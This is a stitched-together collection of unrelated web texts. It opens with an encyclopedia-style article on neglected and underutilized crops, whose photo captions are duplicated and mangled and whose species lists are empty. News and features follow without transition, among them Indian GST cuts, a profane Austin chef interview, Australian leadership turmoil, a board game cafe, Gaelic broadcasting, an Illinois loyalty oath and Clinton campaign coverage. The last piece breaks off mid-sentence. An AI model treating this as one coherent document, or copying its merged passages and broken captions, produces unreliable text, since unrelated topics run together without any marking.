[ edit ] Chenopodium quinoa), Cachilaya[ clarification needed ], Bolivia, Province La Paz, Lake Titicaca seen in background. Landscape with quinoa (), Cachilaya, Bolivia, Province La Paz, Lake Titicaca seen in background. Just three crops - maize, wheat and rice - account for about 50% of the world's consumption of calories and protein.[4] About 95% of the world's food needs are provided by just 30 species of plants.[5] In stark contrast, at least 12,650 species names have been compiled as edible.[6] Neglected and underutilized plants are those that could be - and, in many cases, historically have been - used for food and other uses on a larger scale. Such crop species have also been described as "minor", "orphan", "promising" and "little-used". Definition [ edit ] It is difficult to precisely define which attributes make a crop "underutilized", but often they display the following features: Linkage with the cultural heritage of their places of origin Local and traditional crops whose distribution, biology, cultivation and uses are poorly documented Adaptation to specific agroecological niches and marginal land Weak or no formal seed supply systems Traditional uses in localized areas Produced in traditional production systems with little or no external inputs Receive little attention from research, extension services, policy and decision makers, donors, technology providers and consumers [7] May be highly nutritious and/or have medicinal properties or other multiple uses Neglected crops are primarily grown by traditional farmers. These species may be widely distributed beyond their centres of origin but tend to occupy special niches in the local production and consumption systems. They are important for the subsistence of local communities, yet remain poorly documented and neglected by the mainstream research and development activities.[8] Underutilized crops are those marginalized by farmers and consumers due to agronomic, genetic, economic, environmental and cultural reason, which were once important and major crop in the community.[8] Importance [ edit ] They continue to play an important role in the subsistence and economy of poor people throughout the developing world, particularly in the agrobiodiversity-rich tropics. Despite their potential for dietary diversification and the provision of micronutrients such as vitamins and minerals, they continue to attract little research and development attention. Alongside their commercial potential, many of the underused crops also provide important environmental services, as they are adapted to marginal soil and climate conditions. Constraints [ edit ] The following are frequent constraints:[2] limited germplasm available; lack of technical information; lack of national policy; lack of interest by researchers, agriculturists and extension workers; lack of producer interest. Examples [ edit ] Digitaria exilis)] that helps feed his family in southern Senegal Village chief of Boula Téné, [Senegal] Theodore Mada Keita, holds up the fonio grain [White fonio ()] that helps feed his family in southern Senegal Determination of the underutilized status of a crop varies among researchers. Different criteria and approaches are used to define this particular group of crop. Neglect refers to the attention the crop has received from research and development and can be evaluated by how well national and international policy and legal frameworks and research and development programmes support the conservation and sustainable use of the crop. Underutilisation is particular to the geography and potential for a crop to contribute to better to diets and production systems. It should be noted that in any cases where exotic species or diversified species are underutilized at certain region, these are not necessarily underutilized in other parts of the worlds.[2] Below is an example list of neglected and underutilized species that is not exhaustive. Cereal and pseudocereal crops [ edit ] Fruits and nuts species [ edit ] Ziziphus mauritiana (dry fruits) for sale at the Luangwa turn-off on Great East road, Zambia. (dry fruits) for sale at the Luangwa turn-off on Great East road, Zambia. Vegetable and pulse crops [ edit ] Ipomoea aquatica photographed in the Sunday Market, Kuching, Sarawak, Malaysia photographed in the Sunday Market, Kuching, Sarawak, Malaysia Root and tuber crops [ edit ] Ullucus tuberosus) for sale in southern Peru Ulluco tubers () for sale in southern Peru Other crops [ edit ] Industrial underutilized crops [ edit ] Bixa orellana fruit open, showing the seeds from which fruit open, showing the seeds from which annatto is extracted, photographed in Campinas, Brazil Oil seeds [ edit ] International events that fostered underutilized crops [ edit ] Logo of the international year of Quinoa 2013 See also [ edit ] -GUWAHATI: Making the biggest change in the four-month-old goods and services tax regime, the GST Council on Friday moved 80 per cent of items in the top 28 per cent tax bracket to lower rates. Starting November 15, eating out could cost up to 13 per cent less than before ( GST rate cut from 18 per cent to 5 per cent) and a whole host of consumer products like shampoo, deodorant, chocolates, fans, furniture and sanitary fittings should get cheaper by up to 10 per cent or more.Only 50 products, classified as sin or luxury items like tobacco products, aerated drinks and automobiles, will be in the top GST rate bracket of 28 per cent. When GST was rolled out on July 1, more than 250 items were in the highest tax bracket. That's a reduction of 80 per cent in the number of items in just 132 days. The total tax on several products still in the highest slab will be higher than 28 per cent since they also attract a cess.The government also reduced the levy under composition scheme for traders and industry to 1 per cent of turnover, with further easing for those selling exempted goods.Finance minister Arun Jaitley said the rate adjustment was part of the rationalisation exercise undertaken over the last few months. "Optically, some of them should not have been there (in 28 per cent slab). There are some items in which small players were exempted from excise (duty payment before GST was rolled out)," he told reporters after a seven-hour meeting of the panel that has representation from all states and two union territories. A lower tax rate will translate into a reduction in prices of over 200 products.The council went beyond the recommendations of the fitment committee comprising officers. The committee had suggested keeping 62 items in the highest bracket. The ministers, however, ignored demands for duty reduction from the construction sector and left cement and paints in the 28 per cent slab.The latest round of changes will leave a Rs 20,000-crore hole in the pockets of the states and the Centre. It is the Union government that will have to bear the burden of any shortfall in collections since it has committed to make good any revenue loss for five years. Jaitley, however, said the revenue loss was notional."Rate reduction for 200-plus goods and services may suggest that there is buoyancy in tax collections," said Divyesh Lapsiwala, tax partner at consulting firm EY India, suggesting that the revenue loss will be compensated.More than the revenue considerations, the move is aimed at cheering consumers and placating traders and small businesses who have been complaining of higher compliance burden. With consumers on its side, the Centre is hoping that the protests from traders will wane. The rate cuts should reduce leakages as there is lower incentive to evade taxes. Assam finance minister Himanta Biswa Sarma , who headed the group of ministers for reviewing the tax structure for restaurants said, "Today we have addressed every small issue raised by industry, traders and consumers."In May, when rates were finalised by the GST Council, the Centre and the states had agreed to rework rates to ensure that they would be close to the combined incidence of Union excise duty and state value added tax. That principle has been given a go-by, at least in the highest bracket. -Welcome to One Year In, in which we interview Austin chefs on the occasion of their restaurant's first anniversary. This week, we interview Ned Elliott of North Loop's Foreign & Domestic, which turned one on Friday Husband-and-wife team Ned and Jodi Elliott opened Foreign & Domestic in the North Loop neighborhood on May 20 of 2010. Last week, we talked to Ned about how Foreign & Domestic got to be where it is today; today, he talks about why they chose North Austin over South, food bloggers, and what's next for the Elliotts (a second restaurant!). What was the original concept for Foreign & Domestic? Before we even moved down here, we were like: let's do a truck. Before the whole craze. And then it was like you know what? Food carts to me are so passe. If I want a hot dog, I'll go to a baseball game. I don't want amusement park food or stuff that's like hey, I have a doughnut that's glazed with cheddar fondue and fried bacon. Give me a great glazed doughnut, show me that. We lived behind Zilker Park then — we live up here now, just right across Burnett and 49th — but we were looking at that area for a little while. I don't know, it just felt like a lot of restaurants down there felt sort of soulless and especially the downtown corridor, a lot of the restaurants feel like theme restaurants. And that's what really spurred this on: let's just do a great neighborhood restaurant. A North Austin neighborhood restaurant. We were looking around South Lamar and South First and South Congress, it's like Disneyland. So I saw a Craigslist ad, drove up here. I'd been up here a couple of times to the vintage shops and I'd been over toe Flight Path for coffee. Hyde Park has its little enclave of ASTI and Quacks and Mother's and Dolce Vita. So why the hell is it not going on up here? Hyde Park is so expensive. So we talked to the owners of the building and we just fell in love with it. This is badass. The first time I drove by, I was like oh?. It's like a bombed out neighborhood! What the hell is going on up here! I'm surprised there's not like a chalked outline of a body or something. It was a gray day in late August. Just overcast, a Sunday, and I was just like no way. And then I drove by again and again, and well? we have our life savings and some credit cards, we could actually do something pretty fun. So what makes F&D a neighborhood restaurant? People are like oh, this feels like a diner! Well, if you're from the Northeast, this is not a diner. Just because it has a counter. If you live down here, people think it's sushi-style because you're sitting behind a counter watching people make stuff. We don't have another space to put this stuff! Do you think the size helps with the neighborhood vibe? One of the reasons we chose something so small is that Jodi and I wanted something we could cook six nights a week, seven nights a week and not be some monstrosity where you have sous chefs and four line cooks and a pastry chef and a chef de cuisine. I wanted to be able to cook. That's what I spent ten years in New York getting my balls crushed to do, not be a big guy in a little pond. No. I want to cook. But at the same time with us we'll lose money. Meaning if we profit off anything, it's going right back into the business, into our staff. We value them. We'd love to be a lot busier, but at the same time we're probably as busy as we can handle. You know, if we were gigantic, we'd be busier for an extended period of time but we'd also be like uhoh. I've seen it happen at other places, and they're like hey we're going to shut down for four days because we can't handle the business that people have thrown at us. We've been lucky in that regard, too. Sometimes somebody will sit at a table for too long and I want to go tell them they're not going to pay for my daughter's education. You only spent $20 dude! Please, we're too small, we've got to get somebody else in. But at the same time I love that, I love that people come in feel comfortable. How is F&D different than it might be in South Austin? The vibe of this neighborhood ? of course there are some neighborhood quacks that are but this neighborhood is awesome. Especially with the whole city initiative, the walking deal from Mueller over to here. A, yeah, it'll help our business, but B, it's just awesome to be in this area. To where it's not, hey everybody has the Ray Ban sunglasses and the skinny jeans, the bikes, the fixes and all that. Although I have a fixed gear and the Ray Bans. But we're not in that generalized area of Austin that gets that I'm in college, I could be 20 or I could be 27, I'm still sort of living that lifestyle. We're out on the peripheral of that, but we have a whole cross section of guests. Our diners that come in represent Austin as a whole. How do you feel about food bloggers? That's one thing we've seen since we've been in Austin, because we have an open kitchen. Just go out and eat and enjoy yourself! Some people are just going out to dinner and taking pictures of it just to post on Facebook? Come on! Just have fun with it! You wouldn't go into your dentist's office and do that! We get that all the time, people like 'Hey, I would do this if I were you!' You know what? I'm going to show up to your work early, complain that you didn't take me into your office early, and then tell you that I think your office should be rearranged. How does being in Austin compare to working in a bigger city? I'd probably still be flipping burgers and selling weed out of an apartment in Montana rather than being like there's more to life, I don't want to just sit here and hang out with 20 year olds. I can be more. So getting a kick in the ass from my moms when I was in my early 20s and people saying, look, I found something in you, dude. You're good at this! You lose your job in New York, it takes a little while to get a new job. You're screwed. Especially in restaurants. Okay, you lose a job in the middle of the month, you're not going to get a job till the next month. It's going to take a week or two, you're not going to be getting that paycheck, you're going to get evicted. So you know that paycheck is so important and I was always the first one in the kitchen. We busted our asses for so long for so many other people, and thank you, Thomas Keller, here's the middle finger. I didn't get shit out of it. I got some knowledge. At the end of the day he's an awesome dude, but you just see people get used and abused and ripped off in large, big name restaurant. Everybody's expendable. The door goes both ways, you come in and you can walk right out. It is a bit difficult because we haven't befriended anybody here, we haven't worked at any Austin restaurants. So trying to build off this name or brand recognition or name recognition of the restaurant, it's been hard with that. How would you say that being in Austin, being in Texas has influenced your cooking? I think that with Austin it's more reinforced what we set out to do. When people come in, oh, it's not enough food. You know what? You should want to come out to dinner and have a first course, a second course, and split a dessert. It's not like two pounds on your plate of food. So forcing that thing. I don't want to be an ass about it, but I don't think it's changed too much. I mean, I like to smoke things. But I was doing that in New York too. We closed down the first two weeks after the New Year, and my wife and I went to Paris for ten days. That was a good thing for us. People were like, oh what did you put on the menu? Did you eat this, did you eat that? And we were like, no. That's not how we work. It's more like we want out, we went to a lot of places like the Chateaubriand and La Régalade Saint-Honoré and it reinforced what we're doing. How would you categorize your food? You get a lot of attention for working with offal. What we're doing is sort of a mix: we try to get as local as possible, but at the same time we want to be a neighborhood restaurant. We didn't want to be a local sustainable restaurants. One of the taglines everyone talks about is that they're nose to tail. That's bullshit. If they were nose to tail, then it would be like hey, we have lamb. And so all the meat on the menu is lamb. And that would be nose to tail, rather than what we do. We're more European-Appalachian. There's a lot of things on the menu, from ham hocks to heart to tongue and things like that. Where do you see the Austin food scene going? With Contigo just opening, just come as you are, have a good fucking time. Contigo looks awesome. But at the same time it's not this place that clientele would go and be like, this is so cool looking and I feel so cool being here. It's just a badass place. And they have great drinks and a great vibe and it's a great space. I know [Contigo owner] Ben [Edgerton] a little bit and it's awesome. It's going to be a huge success and the more things that come up this way, that are in North-Central Austin, I mean it's this whole dining ground that the city has just turned it's back on. I mean, you have FINO and ASTI, and they do great jobs as well, but other than that? What's next for you guys? We're trying to expand the menu, make the food cleaner. I think that's one of the big things that's changed since Day One is that we're getting back to the way we really, really want to cook. A whole slew of things. We're really thinking about doing another restaurant in the next year and a half, two years. We really want to do that. There's a whole other niche that Austin doesn't have — you go to a place like Mother's and it's vegetables, but it's all covered in cheese. Can we have a vegetarian restaurant in Austin that just lets the vegetable shine? Has anybody ever made cassoulet with vegetables? Has anybody ever done whole roasted turnips? Just make it somewhere around here if we can find the space, and do something like Foreign & Domestic Bio. Maybe there's one or two fish dishes, but that'd be the only animal product. Keeping it small and concise. For us, it's like if we ever do anything else, it's staying true to this. We don't want anybody to ever walk in — people walk in all the time and say "This is an awesome space!" I agree it's an awesome space, but you should be focusing on the food. For us that's the major point of the restaurant. Not that it's food, it's more like come in and have a good time. You can come in on a Tuesday night and get the crab lasagna and a glass of wine and be out of here for $26. Or you can come in on a Friday on a date with another couple and eat through 80% of the menu and have a whole bunch of different tastes and textures and thoughts and stuff. But it's still just have fun. · Foreign & Domestic [Official Site[ · All Foreign & Domestic Coverage on Eater Austin [-EATX-] [Photo: Aimee Wenske / Foreign & Domestic] -Unconfirmed reports say that Korean tech giant Samsung may be considering relocating its European headquarters from London to the Polish capital, Warsaw, although the company has denied this. On Tuesday, the Seoul-based Korea Herald reported that Samsung, one of the world’s largest electronics producers, was mulling the decision to move its base in Europe to Poland. The paper quoted industry insiders who confirmed that such a move was being considered, with one saying that Samsung was “laying off employees in Europe. The relocation seems to be part of its business restructuring amid sluggish sales”. On Wednesday, the original story on the Korea Herald had been removed, with the company vehemently denying the story. Samsung already operates an R&D centre in Warsaw. In recent months, a number of rumours have surfaced about the possibility of international conglomerates contemplating investment in Poland. These included carmaker Jaguar Land Rover which was considering opening a Polish plant, but instead decided to invest in Slovakia – which, along with other countries in CEE, has been offering numerous incentives for foreign investments. Last year Samsung saw European sales drop by 22.7 percent. Mobile-technology website androidauthority.com said that “Poland was the first country in the world to have the Galaxy S5 Lollipop update pushed to devices, for example, and then for the Galaxy Note 4 as well. Neighbouring Russia was initially to be the first country to receive the original Samsung Z, before it was cancelled.” (rg/rk) -Tony Abbott tells MPs to 'knuckle down' on 'Back to Work Tuesday' as leadership rumblings continue Updated Tony Abbott has declared today "Back to Work Tuesday" as he continues to try to quash speculation that his leadership is under threat. Poor polling for the Prime Minister and the massive swing against the Liberal National Party in Queensland has fuelled calls from within the party to replace Mr Abbott. The most likely contenders are former leader Malcolm Turnbull, deputy Liberal leader Julie Bishop and frontbencher Scott Morrison. The three are known to be in discussion about the party's woes. Today Mr Abbott repeatedly sidestepped questions about a reported exchange with Ms Bishop on the weekend, in which she refused to give him a commitment that she would not challenge him for the leadership. "Julie and I - we're friends. We are part of the leadership team," he said. "We support each other. We always have and we always will." When asked if he was prepared to call a leadership spill, Mr Abbott replied "no". Ministers will meet this afternoon at a Cabinet meeting slated to sit through tomorrow. Abbott is also facing a backbench revolt over his decision to make Prince Philip a knight under the Australian honours system, with two Queensland federal backbenchers pushing a private members bill to abolish the awards. This morning, Mr Abbott toured a childcare centre in Sydney, a day after confirming he had dumped his "signature" paid parental leave scheme in favour of a broader "families" package. Flanked by his wife Margie and Sydney backbencher Craig Laundy, Mr Abbott said his Government was going through a "difficult patch" and called on his colleagues to "knuckle down" to work. "Instability breeds instability," he said. "If you want to get away from that, you just end it now, and my message to the people of Australia is this is Back to Work Tuesday. "We are now focused on doing the right thing by the people of Australia." Tasmanian Liberal backbencher Andrew Nikolic has written an email to his Coalition colleagues calling on them not to show the same signs of "ill-disciplined introspection" that beset the former Labor government. "My hope, my plea is that we knuckle down, refocus on what's important and not become the rabble we defeated," he said, in an email published by the Australian Financial Review. Earlier, Industry Minister Ian Macfarlane called on both Ms Bishop and Mr Turnbull to publicly state they would not challenge for the leadership. "We need to see a situation where the Government governs," Mr Macfarlane told AM. "I'd call on both Malcolm - who I know is not planning any leadership challenge because he gave me that assurance - but I also call on Julie Bishop to make that assurance," Mr Macfarlane said. Mr Abbott ousted Mr Turnbull from the top job in 2009, when he won a leadership ballot by one vote. Colin Barnett accuses Joe Hockey of letting down Tony Abbott West Australian Premier Colin Barnett has taken aim at Treasurer Joe Hockey, accusing him of "letting down" the Prime Minister. Mr Barnett told Fairfax Radio Mr Abbott has had a "horror summer" because of a series of unpopular policy decisions. But he also blamed the performances of Mr Abbott's Cabinet, particularly Mr Hockey. "I think he's been let down by a couple of his colleagues," he said. "I don't think the Treasurer has done a great job, and that last budget was flawed, and therefore the leader ends up wearing it." Mr Barnett said while Mr Abbott had made mistakes, he should remain leader. "He's had a horror summer I guess, [with the] change of position on co-payments on medical care, now the parental leave has been scrapped which I think is not a bad thing because it's not a good policy," he said. "But I don't think we should develop a pattern in Australia where we change leaders simply because we're down in the polls or they make a bit of a gaffe." Topics: government-and-politics, family-and-children, child-care, political-parties, liberals, abbott-tony, federal-government, sydney-2000, nsw, australia First posted -Storefront of Merlin's Beard, coming June 4th. (Photo: Emma Ea Ambrose) In a world where restaurants traditionally serve only food and drink and people typically play board games at home, one couple sought to unite the two diversions. In less than a month, owners John and Alicia Iles will open Merlin's Beard — a board game library and restaurant — at 1001 Main St. The Iles are modeling their business off Game Paradise in Indianapolis and The Uncommons board game cafe in New York City. The idea, John Iles said, is to have a place where a wide selection of board games are available and to be able to eat, drink and play with friends. The business will charge a $5 cover to play for as long as customers like. The cover will only apply if you decide to play a game. In addition to games and refreshments, Merlin's Beard employees will help customers pick an appropriate board game and introduce them to the rules and procedures. "For people who are not into games, we want to provide a service where we can help you find something you’re interested in and help you learn how to play it so you can have an enjoyable evening," Iles said. Iles, a mathematics teacher at Logansport High School, said teaching people board games has always been a passion and playing with his wife and their friends is a favorite pastime. The couple used to live in Greater Lafayette, where Iles taught at Harrison High School for six years. He said they are excited to be moving back into a community that is thriving. Iles said the restaurant's food and drink offerings will be cafe fare — paninis mostly — and beer and wine, once all the permitting comes through. He said they are hoping to source everything as local as possible. "We’re just trying to be a strong part of the community and support the other businesses in the area," Iles said. John and Alicia Iles (Photo: Provided by John Iles) Iles, who is a fan of "sci-fi miniature games," said popular games like Pandemic and Settlers of Catan will be available, as well as more obscure board games. He said the collection will grow as the business does. Although Merlin's Beard will have a table outside its space for the May 14 Mosey Down Main Street, Iles said they plan to open for the June 4 Mosey. "We’ll gradually increase what we can offer in terms of food as our different permits come through," Iles said, "but we'll start playing board games June 4." About Merlin's Beard The cafe with food, drinks and board games will open June 4 at 1001 Main St. Learn more on Facebook or donate at GoFundMe. • Facebook: facebook.com/merlinsbeard42. • GoFundMe page: gofundme.com/merlinsbeard. Read or Share this story: http://on.jconline.com/270INsR -THE SCOTTISH Government has stepped in to save Gaelic television, after its funding was axed by the UK Government late last year. Chancellor George Osborne announced in November that he would not renew a £1 million-a-year grant from the Department of Culture, Media and Sport (DCMS) ear-marked for BBC Alba. However Alasdair Allan, the minister for Scotland’s languages, has announced the Scottish Government will provide an additional £1million to the service, making up the shortfall to ensure the future of Gaelic broadcasting in Scotland. The extra funding comes on top of core funding for MG ALBA - a public body which works in partnership with BBC Scotland to produce BBC Alba - of £11.8m in 2016/17. Allan said: “I have no doubt that Gaelic broadcasting adds significant value to important areas of Gaelic development, whether that’s in education, in the community or at home. “The impact and benefits of MG ALBA are felt across Scotland, and it has an impressive economic impact – this is unique and this funding will enable these areas to increase employment, skills and training...We are committed to creating a sustainable future in the Gaelic language, and to developing broadcasting and media industries in Scotland.” Stuart Cosgrove, Scottish broadcaster, said that the UK's Government's decision to withdraw funding had struck him as "malicious and short sighted". "My argument is a familiar one that we need to support our indigenous language across the board from television to school provision," he added. "There is always a huge backlash against Gaelic language when the debate comes up and at times it feels like monoglot bullying." Maggie Cunningham, chair of MG ALBA, said the organisation was grateful to the Scottish Government for their continued support. "The Scottish Government has been an enthusiastic supporter of both our creative industries and the Gaelic language over many years," she added. “MG ALBA is ambitious for the future of Scotland’s broadcasting sector, and is in a unique position to facilitate the next generation of talent - especially amongst independent producers." -When candidates file their paperwork to run for elected office in Illinois, they have the option to sign an unconstitutional remnant of McCarthy-era politics: a loyalty oath. GALESBURG — When candidates file their paperwork to run for elected office in Illinois, they have the option to sign an unconstitutional remnant of McCarthy-era politics: a loyalty oath. By signing the oath, candidates swear that they are not part of any organization that “advocates the overthrow of constitutional government” or part of “any communist organization or any communist front organization.” The oath has remained on the books since it became Illinois law in 1951. The loyalty oath used to be required, but was deemed unconstitutional in the 1970s. Mayoral candidate Walt McAllister was surprised to see the optional oath included among the candidate paperwork he picked up. “I think it’s very old fashioned,” McAllister said. “It just reverts back to 1950s thinking. This is for mayor of Galesburg, Illinois, not for president of the United States.” Illinois appears to be one of the few states that still has or ever had a loyalty oath. Illinois’ was struck down in 1972, and the Supreme Court declared state loyalty oaths unconstitutional in 1974 when Indiana’s was challenged. Pennsylvania still has one with candidates pledging not to be a “subversive person,” but its attorney general stopped enforcing that in 2006 after it was challenged, according to The Philadelphia Inquirer. Florida still has a loyalty oath, but it doesn’t mention communism or overthrowing the government. Instead, it ensures that candidates are qualified and pledge to uphold the state and federal constitutions. The Illinois legislator who sponsored the bill to create the loyalty oath in 1951, Clyde Choate, also sponsored a bill to repeal it in 1967, but that effort failed, according to The Chicago Tribune. Until the Illinois General Assembly makes any changes, the optional loyalty oath will remain part of election law and continue to be issued to candidates, Illinois State Board of Elections General Counsel Ken Menzel said. “I think everyone recognizes it’s somewhat vestigial, but no legislator wants to (sponsor a bill to remove it),” Menzel said. Most candidates sign it, Menzel said. That appears to be the case locally as well. City Clerk Kelli Bennewitz said she’s always signed it. “I don’t see any issue with it,” she said. “I don’t know if it’s completely necessary, but I don’t mind signing it. I know there are some things in there that are maybe just an old formality, but I don’t mind signing it.” As far as Galesburg Township Supervisor Chris Winick could recall, she’s always signed the loyalty oath, but sees it mostly as a waste of paper. “If it’s not a required document, I’m not sure why they even continue to have it,” Winick said. “I look at the amount of paper that’s generated. It’s ridiculous how many trees we kill.” While many think the loyalty oath is no longer necessary, State Rep. Don Moffitt, R-Gilson, said it provides voters with another piece of information about the candidates they’re considering. “I think that the loyalty oath is a reasonable thing. If you refuse to sign it, the people should know your feelings,” he said. “If you don’t or can’t (sign it), people should know it and they can make their decision.” And while McAllister was surprised to see it, he says he’s going to sign it. “I was going to sign it,” he said. “I just thought it was silly.” Ben Zigterman: (309) 343-7181, ext. 255; bzigterman@register-mail.com; @bzigterman; m.me/bzigterman -The New York Times' Howard Beck, on his way from Los Angeles to Oklahoma City to cover Monday's Game 5 between the Lakers and Thunder, uncovered this rather shady T-shirt design on Sunday. The Thunder aren't exactly giving these rags out at the door, but that didn't stop our initial post on the T-shirts on Monday morning from inspiring a world of outrage on Twitter, and apparent death threats sent the way of Warpaint Clothing, the company that humorlessly put the duds together -- utilizing the former Seattle SuperSonics logo along the way. Rightfully, just one Thunder fan deciding to purchase this and pull it over their head is enough for us to break out the Patented BDL Tsk-Tsk Geiger Counter -- and as a result Warpaint has decided to stop selling the shirts because of death threats sent its way in reaction. To reiterate, Oklahoma City didn't wrest its current team out of Seattle because 37 selected fans and civic leaders won a free-throw shooting contest. It didn't "win" the team by being the quickest to press buttons in some trivia contest at a local chicken wing joint ("PRESS 'B!' It's 'Romancing the Stone!' Hurry!"), and the presiding genius of GM Sam Presti is no reflection on either level of fandom emanating from either Oklahoma City or Seattle. Scroll to continue with content Ad No, the current Oklahoma City Thunder are not the former Seattle SuperSonics mainly because former owner (and current Guy That Bilks You Out of Money Every Day For Your Starbucks Fix, You Silly Twit) Howard Schultz didn't think twice before selling a basketball team needing a new stadium to an ownership group from a city that had already proven it could be a fantastic host for an NBA team, with a new stadium at its disposal. [Related: Kobe, Metta World Peace technicals bury Lakers in Game 5] Story continues We don't think much of the Thunder owners, but we really don't think much of Howard Schultz, who completely betrayed the community that helped make him billions, all because he didn't know anything about how to run an NBA team, and because he couldn't wait an extra couple of months to find a suitable buyer that obviously wouldn't move the team from Seattle. Current Oklahoma City Thunder fans? The city of Seattle, and former SuperSonic fans, did absolutely nothing to deserve this. In the midst of what could be a championship season, diverting attention from the franchise's ultimate goal to take a needless shot at a city and fan base that is clearly still hurting is the ultimate prick move, and we heartily encourage any mindful Thunder fans to take Twitter pictures and send them our way during Monday's Game 5; so that we can band together to shame however many morons that decide to sport these shirts. Warpaint, through its Twitter feed, didn't exactly acquit itself well in attempting to defend the shirts it decided to print. From KIRO TV: A few hours later, the company seemed to take a more conciliatory tone: "So much hate in the world. No disrespect meant. We appreciate where our team came from actually. Put your energy into something positive." And later: "We r (sic) saying thank you for such a great organization. We truly appreciate and respect the city of sea (sic)." Finally, the company said it was dropping the shirt from its website: "After receiving death threats we have decided to take the shirt down offline. Sorry if we offended you Seattle." The shrugged shoulder approach doesn't work, here. This doesn't fall directly in line with Miami Heat fans snarkily "thanking" Detroit Pistons backers for giving them the chance to draft Dwyane Wade, or your grandfather "thanking" his brother-in-law from Chicago because his Cubs sent Lou Brock down to St. Louis. This was an entire team that left town, and four years removed, the former Seattle SuperSonics have gone from amongst the worst in the West to a championship contender. This hurts an entire community on a far greater level than your typical, "sporting" taunt. Death threats? Pretty stupid, Some Dudes From Seattle. This T-shirt? Pretty awful, Some Dudes From Oklahoma City. This can be the end of this particular strain of tactlessness, right? Other popular content on Yahoo! Sports: • Track officials' counting error costs British hurdler a personal-best time • Clippers, Lakers, Kings highlight busy weekend in L.A. • Detroit Lions bars own player from practice after fight with teammate -The two mayoral candidates for Halifax — Mike Savage and Lil MacPherson — faced off at a public debate tonight ahead of the municipal election on Oct. 15. Watch the debate on Facebook. Here are the key issues that came up: Environment Many were surprised to learn that Halifax business owner MacPherson chose to run against Savage, the incumbent, since she volunteered for his campaign during the 2012 municipal election. MacPherson says the environment pushed her to run — she feels there isn't enough happening in the city. She said attending the signing of the Paris Agreement made her consider the role mayors can play to fight climate change, as well as build the economy. "The rest of the world is [growing the green economy], but I really feel as an entrepreneur, we're not ready as a city," she told CBC's Mainstreet on Tuesday. In response, Savage pointed out that under his leadership, the Federation of Canadian Municipalities deemed the Halifax Regional Municipality Canada's Green Champion last year. "Everything from protecting things like Purcells Cove backlands, moving on Blue Mountain-Birch Cove, and the 100 Wild Islands," Savage listed as his green priorities in council. Small businesses During Savage's campaign launch, he denounced the amount of red tape many small businesses face. "We need to have a better business process," he said Tuesday. MacPherson agreed, saying her experience of opening three businesses in the municipality was "very tough." She said the current bylaws specifically disadvantage small business owners who don't have the same financial or legal resources as big developers to navigate the complex system. "The small businesses are just left there to deal with things they don't know how to do," she said. Development On the topic of urban planning, Savage said he's working to protect areas that have heritage designation, like Young Avenue, despite the demolition of a historic rental property there earlier this month. MacPherson expressed concern that development in the municipality is "going too fast too soon." "It needs to slow down and pause," she said. Campaign donations In 2012, Savage faced criticism for not disclosing his campaign donations until after the municipal election. About 30 per cent of those donations came from development companies. "There's nothing wrong with accepting money from developers, as long as you disclose it," he said. MacPherson has said she won't be accepting any donations from developers, and is willing to disclose her campaign donors at any stage of the election process. "I'm very transparent and I'm not accepting any money from developers. I think we should be at arm's length," she said. -We no longer need to make any guesses about what the Galaxy Note 7 is going to look like. Multiple high-quality renders have already been leaked online alongside several blurry live pictures of the upcoming flagship handset. The latest leak brings us the clearest picture yet of the Galaxy Note 7 in Black Onyx, we have seen some blurry pictures of it in the recent past. The Galaxy Note 7 will be available in three colors namely Black Onyx, Silver Titanium and Blue Coral. Black Onyx is unique in the sense that even the metal frame is painted black which is something we’ve not seen Samsung do in the past. It surely makes the device look understated yet elegant which is really the look Samsung is shooting for these days with its high-end handsets. The Galaxy Note 7 is due to be unveiled in New York on August 2nd. Rumor has it that the handset could be released in launch markets on the very same day. -ORLANDO — Of all the attacks that Hillary Clinton and her fellow Democrats have tried against Donald Trump since he captured the Republican presidential nomination, one has stood out for its emotional force and persuasive power: No one, it seems, can abide Trump’s mockery last year of a reporter’s physical disability. And as Clinton strains to make a more forceful case for her own candidacy, after a summer focused largely on hammering Trump, her campaign believes that a focus on an often-overlooked constituency — voters with disabilities — can accomplish both goals at once. On Wednesday, without mentioning the Trump episode, Clinton discussed her vision for an “inclusive economy” with expanded job opportunities for what she called “a group of Americans who are, too often, invisible, overlooked and undervalued — who have so much to offer, but are given far too few chances to prove it.” Advertisement “That’s been true for a long time,” she added, “and we have to change it.” Get Today in Politics in your inbox: A digest of the top political stories from the Globe, sent to your inbox Monday-Friday. Sign Up Thank you for signing up! Sign up for more newsletters here She also cited a recent Boston Globe profile of a woman with Down syndrome who retired after working 32 years at the McDonald’s in Needham. In keeping with a recent campaign theme, she described how her career had informed her policy goals, from her work for people with disabilities during her time at the Children’s Defense Fund to her tenure as secretary of state, when she appointed the first special adviser for international disability rights. “Whether they can participate in our economy and lead rich, full lives that are as healthy and productive as possible is a reflection on us as a country,” she said inside a gymnasium at an Orlando youth center. Though Clinton made no mention of the moment last year when Trump mocked a New York Times reporter, Serge F. Kovaleski, who has a congenital joint condition that visibly limits the flexibility in his arms, she may not have had to: The incident has earned Trump some of his most blistering ratings in focus groups, and a pro-Clinton super PAC made it the centerpiece of an ad in June. (Trump has denied that he was mocking the reporter’s appearance, saying he did not even recall meeting him.) Advertisement Clinton’s campaign plainly views the contrast as critical to its strategy for the remainder of the race, including the highly anticipated first debate with Trump Monday. Clinton has said often that she can handle the personal insults from him — but that what gets her piqued are attacks on groups that Trump has appeared to bully. And she is in good company. “Making fun of that reporter was just not only in bad taste, it just demonstrated the character of him,” said Christine Griffin, a lawyer and disability policy advocate in Boston. “The disability community is very upset by that, but if you look at the poll numbers, so is the rest of society.” People with disabilities make up a potentially potent political coalition: A study this month from two Rutgers University professors projected that more than 35 million people with disabilities would be eligible to vote this year — roughly one-sixth of the electorate. More than a quarter of the electorate either has a disability or shares a household with someone who does, the study estimated. And they are represented fairly equally in both parties. As the Republican vice presidential nominee in 2008, Governor Sarah Palin of Alaska spoke often of championing children with special needs, noting her own child with Down syndrome. Jennifer Laszlo Mizrahi, president of RespectAbility, an advocacy group, said that the election had focused attention on issues affecting disabled voters as never before. She said that Trump’s behavior had served as a galvanizing force. “I don’t think there’s a person with a disability on the planet who has never been made fun of,” said Mizrahi, who has dyslexia and is raising a child with physical disabilities. “Every person with a disability knows what it’s like to live with stigma.” Advertisement Mizrahi also lamented that Trump had often “conflated the word ‘stupid’ with the word ‘loser,’ ” as she put it, warning that such thinking could hinder the job prospects of people with intellectual disabilities. The event Wednesday also brought Clinton to a critical region of a major swing state. Her team has focused particular attention on the Orlando area’s sizable Puerto Rican population, especially as families relocate from the island amid a devastating debt crisis. Clinton, Bill Clinton, and Senator Tim Kaine of Virginia, Hillary Clinton’s running mate, have attended a combined 15 events in Florida since the beginning of August. Galvanizing the disabled as a voting bloc may require extra attention to the accessibility of polling places. The 